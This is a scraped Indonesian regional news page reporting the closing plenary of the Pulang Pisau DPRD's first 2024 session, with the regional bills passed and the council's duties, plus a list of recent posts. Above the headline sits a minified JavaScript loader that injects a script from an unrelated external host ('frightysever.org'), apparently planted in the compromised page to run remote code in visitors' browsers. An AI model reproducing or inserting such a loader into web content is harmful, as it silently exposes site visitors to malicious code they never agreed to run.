(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

DPRD Pulang Pisau Rapat Paripurna Penutupan Masa Persidangan I 2024


KANALKALIMANTAN.COM, PULANG PISASU – Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Pulang Pisau menggelar rapat paripurna ke-8 masa persidangan 1 tahun sidang 2024, Senin (13/5/2024).

Rapat dipimpin langsung Ketua DPRD Kabupaten Pulang Pisau H Ahmad Rifai didampingi Wakil Ketua I H Ahmad Fadli Rahman, dan Wakil Ketua II Sentot Siswanto dihadiri anggota DPRD Kabupaten Pulang Pisau, serta perwakilan Forkopimda.

Pemkab Pulang Pisau diwakili Asisten I Setda Pulang Pisau, Hayes Hendra dan dihadiri sejumlah Kepala SKPD lingkup Pemkab Pulang Pisau.

Baca juga: Calo Kredit Kupedes Fiktif Bank BUMN di Banjarbaru Vonis 4 Tahun Penjara

Wakil Ketua II DPRD Pulang Pisau Sentot Siswanto mengatakan, produk DPRD Kabupaten Pulang Pisau masa persidangan 1 tahun sidang 2024 telah menyelesaikan beberapa tahapan, diantaranya mengeluarkan persetujuan bersama atas Raperda penyelenggaraan jalan umum dan jalan khusus, serta Raperda tentang penyelenggaraan perlindungan perempuan dan anak di Kabupaten Pulang Pisau. Membentuk panitia khusus terhadap Raperda tentang LKPj Kepala Daerah tahun anggaran 2023, mengeluarkan persetujuan bersama tentang keterangan pertanggungjawaban anggaran 2023. “Juga penyampaian pokok-pokok pikiran DPRD, dan fasilitas tindak lanjut laporan masyarakat,” kata Sentot Siswanto.

Lebih lanjut Sentot Siswanto mengatakan, DPRD Kabupaten Pulang Pisau melaksanakan penutupan masa persidangan 1 tahun sidang 2024. Mewakili pimpinan DPRD Kabupaten Pulang Pisau mengingatkan kepada anggota DPRD Kabupaten Pulang Pisau bahwa memasuki masa sidang berikutnya akan ada beberapa tugas.

“Kami ingatkan kembali bahwa dalam menjalankan fungsi pembentukan Perda, DPRD membahas bersama Bupati Pulang Pisau dan menyetujui atau tidak menyetujui rancangan Perda, kemudian mengajukan usulan rancangan Perda serta menyusun program pembentukan peraturan daerah bersama Bupati,” katanya.

Dalam menjalankan fungsi anggaran, DPRD melalui alat kelengkapan DPRD bertugas membahas KUA dan PPAS, membahas rancangan Perda tentang APBD, Perda tentang perubahan APBD, serta membahas rancangan Perda tentang LKPj pelaksanaan APBD.

“Kemudian untuk menjalankan fungsi pengawasan, diwujudkan dalam bentuk pengawasan terhadap pelaksanaan Perda dan Perbup, pengawasan terhadap pelaksanaan ketentuan peraturan perundang-undangan lain yang terkait dengan penyelenggaraan pemerintahan daerah,” pungkasnya. (Kanalkalimantan.com/zul)

Reporter : zul
Editor : kk


Risa

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

4 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.